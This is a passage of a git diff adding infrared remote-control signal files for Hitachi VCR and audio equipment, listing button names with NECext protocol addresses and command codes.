00 00 00 +# +name: but_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: but_10 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: but_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: but_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: but_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: but_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: but_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: but_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: but_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: krasn +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 +# +name: zelen +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5C 00 00 00 +# +name: jolt +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: zelen +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir new file mode 100644 index 000000000..ec5af62e0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: pow +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 00 00 00 00 +# +name: vl+ +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 01 00 00 00 +# +name: vl- +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 02 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 07 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 08 00 00 00 +# +name: tape_select +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 09 00 00 00 +# +name: ply +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 12 00 00 00 +# +name: stp +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 13 00 00 00 +# +name: faf +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 15 00 00 00 +# +name: mnu +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 16 00 00 00 +# +name: rst +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 17 00 00 00 +# +name: ant +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 18 00 00 00 +# +name: srt +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 19 00 00 00 +# +name: slt +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1A 00 00 00 +# +name: rgt +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1B 00 00 00 +# +name: lft +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1C 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 51 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 52 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 55 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 56 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 57 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir new file mode 100644 index 000000000..b92c0fcf4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: TV_OPERATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: TV_VOLUME_^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: TV_VOLUME_V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TV_1_(Q_Z) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: TV_2_(A_B_C) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: TV_3_(D_E_F) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: TV_4_(G_H_I) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: TV_5_(J_K_L) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: TV_6_(CL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: TV_6_(M_N_O) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: TV_7_(P_R_S) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TV_8_(T_U_V_AM) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TV_9_(W_X_Y_PM) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: TV_0_(?_!) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: TV_OPERATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: TV_PROGRAMME_^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: TV_PROGRAMME_V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir new file mode 100644 index 000000000..fae685cd7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir @@ -0,0 +1,470 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 01 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 02 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 03 00 00 00 +# +name: FFWD>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: VCR_FFWD_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 05 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 06 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 06 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 06 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 07 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 07 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 09 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0D 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0D 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0E 00 00 00 +# +name: ADD/DELETE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: RESET_COUNTER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: EXIT/RESET +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: ADD/DELETE_(RESET) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: TV_LAST_CH +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 13 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 14 00 00 00 +# +name: COUNTER/MEMORY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 15 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir new file mode 100644 index 000000000..02d00c865 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: 2C 00 00 00 +command: 11 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 2C 00 00 00 +command: 3B 00 00 00 +# +name: 100/ENT +type: parsed +protocol: NECext +address: 2C 00 00 00 +command: 3D 00 00 00 +# +name: VCR_100/ENT +type: parsed +protocol: NECext +address: 2C 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir new file mode 100644 index 000000000..53cfaca03 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 01 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 02 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 09 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0A 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: VCR_MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0E 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 10 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 11 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 12 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 13 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 14 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 15 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 16 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 17 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 18 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 19 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1B 00 00 00 +# +name: TV_100/ENT_(DISPLAY) +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir new file mode 100644 index 000000000..bc5c84a8e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_8_(AM) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_8_AM +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_9_(PM) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_9_PM +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_100_(ENTER) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: TV_100/ENT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: TV_+100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: TV_100/ENT_(DISPLAY) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: TV_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 08 00 00 00 +# +name: AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_PREV_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VCR_VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: TV_AUDIO_LEVEL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VCR_VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: TV_AUDIO_LEVEL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_5_(DAILY) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_5_DAILY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6_PL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6_(WEEKLY) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6_(PL) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6_WEEKLY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: MENU/CATV_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 33 00 00 00 +# +name: MENU/CATV_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: MENU/CATV_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: MENU/CATV_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: MENU/CATV_> +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: MENU/CATV_< +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir new file mode 100644 index 000000000..b039fc40d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 04 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 05 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0E 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: TV_OPERATE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 17 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1B 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1C 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1D 00 00 00 +# +name: TV_6_(CL) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1E 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir new file mode 100644 index 000000000..d2e1b7b3a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir @@ -0,0 +1,2348 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACKING_-_UP +type: parsed +protocol: 